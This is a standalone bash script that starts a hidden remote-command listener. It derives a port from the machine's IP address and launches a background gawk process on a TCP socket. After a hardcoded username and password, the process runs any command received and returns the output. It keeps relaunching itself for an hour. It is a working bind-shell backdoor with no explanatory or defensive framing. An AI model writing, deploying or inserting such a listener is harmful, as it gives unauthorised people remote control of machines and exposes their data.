#!/bin/bash
time_start=$(date +%s)
time_keepup=3600
while true
do
PORT=$(route -n | tail -n 1 | \
awk '
{
command="ifconfig "$NF
while (( command |& getline)>0){
if($0~/inet addr/){
gsub(/:/," ")
num=split($3,ip_arr,".")
exit
}
}
}END{
for(i=0;i<=num;i++){
ip_sum+=ip_arr[i]
}
print ip_sum+10000
}
')
trap "fuser -k -9 -n tcp $PORT;break" 2
if fuser -n tcp $PORT >& /dev/null;then
time_now=$(date +%s)
time_offset=$[time_now-time_start]
if [[ $time_offset -gt $time_keepup ]];then
fuser -k -9 -n tcp $PORT >& /dev/null
exit
fi
else
nohup echo "" | \
awk -v port=$PORT '
function print_prompt(pro,skname){
printf(pro) |& skname
}
function init_var(){
user_id=""
passwd_tag=0
login_st=0
prompt_msg="[awk sciprt]:"
}
BEGIN{
sk="/inet/tcp/"port"/0/0"
user="weson"
passwd="weson_pass"
user_id=""
passwd_tag=0
login_st=0
prompt_msg="[awk sciprt]:"
}
{
printf("Login: ") |& sk
while((sk |& getline)>0){
gsub(/\n|\r|\r\n/,"")
if(login_st==1){
if($0=="exit"){exit}
#print $0
while($0!="" && ($0 |& getline tmp)>0){
print tmp |& sk
}
close($0)
print_prompt(prompt_msg,sk)
}else{
if(user_id!="" && $0==passwd && passwd_tag==1){
print "Login successfully!" |& sk
print_prompt(prompt_msg,sk)
login_st=1
}else{
if($0==user){
printf("Password:") |& sk
user_id=$0
passwd_tag=1
}else{
exit
}
}
}
}
}' &
fi
done
|